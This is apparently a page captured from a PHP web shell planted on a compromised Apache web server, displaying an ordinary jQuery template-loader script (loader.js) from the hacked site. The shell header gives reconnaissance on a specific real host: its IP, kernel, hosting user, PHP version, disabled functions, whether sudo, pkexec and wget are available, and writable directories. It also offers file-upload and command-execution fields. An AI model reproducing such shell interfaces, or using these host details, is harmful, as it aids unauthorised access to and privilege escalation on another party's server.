Private
Server IP : 195.201.23.43  /  Your IP : 3.15.189.95
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lijnvissersterborchtmeulebeke/public_html/templates/templateblauw3/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/lijnvissersterborchtmeulebeke/public_html/templates/templateblauw3/data/loader.js
/*global $, confirm, window, alert, SqueezeBox, jQuery */

SqueezeBox.extend({
    applyContent: function(content, size) {
        if (!this.isOpen && !this.applyTimer) return;
		this.applyTimer = clearTimeout(this.applyTimer);
		this.hideContent();
		if (!content) {
			this.toggleLoading(true);
		} else {
			if (this.isLoading) this.toggleLoading(false);
			this.fireEvent('onUpdate', [this.content], 20);
		}
		if (content) {
			if (['string', 'array'].contains(typeOf(content))) {
				this.content.set('html', content);
			} else if (!(content !== this.content && this.content.contains(content))) {
				this.content.adopt(content);
			}
		}
		this.callChain();
		if (!this.isOpen) {
			this.toggleListeners(true);
			this.resize(size, true);
			this.isOpen = true;
			this.win.setProperty('aria-hidden', 'false');
			this.fireEvent('onOpen', [this.content]);
		} else {
			this.resize(size);
		}
    }
});

jQuery(function ($) {
    'use strict';

    var button = $('button.modal'),
        dataFolder = $('#dataFolder').val(),
        id = $('#themeId').val();

    function log(msg, color) {
        SqueezeBox.close();
        $('#log').append($('<div></div>').text(msg).css('color', color));
    }

    function requestParams(action) {
        var data = { 'action' : action };
        if ('' !== id) {
            data.id = id;
        }
        return data;
    }

    /**
     * Sends the request to the content loader script and handles the result.
     *
     * @param  data
     * @param  callback
     */
    function request(data, callback) {
        $.ajax({
            url: dataFolder + '/install.php',
            data : data,
            dataType : 'text',
            success : function (data) {
                if (data.match(/^result:/)) {
                    callback(data.substring('result:'.length));
                } else if (data.match(/^params:/)) {
                    callback(data.substring('params:'.length));
                } else if (data.match(/^error:/)) {
                    log(data.split(':').pop());
                } else {
                    log(data);
                }
            },
            error : function (xhr, textStatus, errorThrown) {
                log('Request failed: ' + xhr.status, 'red');
            }
        });
    }

    function check(callback) {
        request(requestParams('check'), function (data) {
            callback('1' === data);
        });
    }

    function run() {
        request(requestParams('run'), function () {
            request(requestParams('params'), function (data) {
                var parameters = $.parseJSON(data);
                $.each(parameters, function (index, value) {
                    $('#' + index).val(value);
                });
                SqueezeBox.fromElement(dataFolder + '/success.html', {
                    size: { x : 290, y : 100 },
                    onUpdate: function (container) {
                        $('#continue', container.firstChild.contentDocument).bind('click', function () {
                            SqueezeBox.close();
                        });
                    }
                });
            });
        });
    }

    button.bind('click', function (event) {
        event.preventDefault();
        // Clear log container
        $('#log').html('');

        check(function (installed) {
            var dialogWidth = 455,
                dialogHeight = installed ? 190 : 145;
            SqueezeBox.fromElement(dataFolder + '/warning.html', {
                size : {x : dialogWidth, y : dialogHeight},
                iframePreload: true,
                handler : 'iframe',
                onOpen : function (container, showContent) {
                    var ifrDoc = container.firstChild.contentDocument;
                    $('#item2', ifrDoc).css('display', !installed ? 'none' : '');
                    $('#load', ifrDoc).off().bind('click', function () {
                        $(this).attr('disabled', 'disabled');
                        run();
                    });
                    $('#cancel', ifrDoc).bind('click', function () {
                        SqueezeBox.close();
                    });
                    container.setStyle('display', showContent ? '' : 'none');
                }
            });
            window.setTimeout(function () {
                SqueezeBox.fireEvent('onOpen', [SqueezeBox.content, true]);
            }, 1000);
        });
    });
});
Private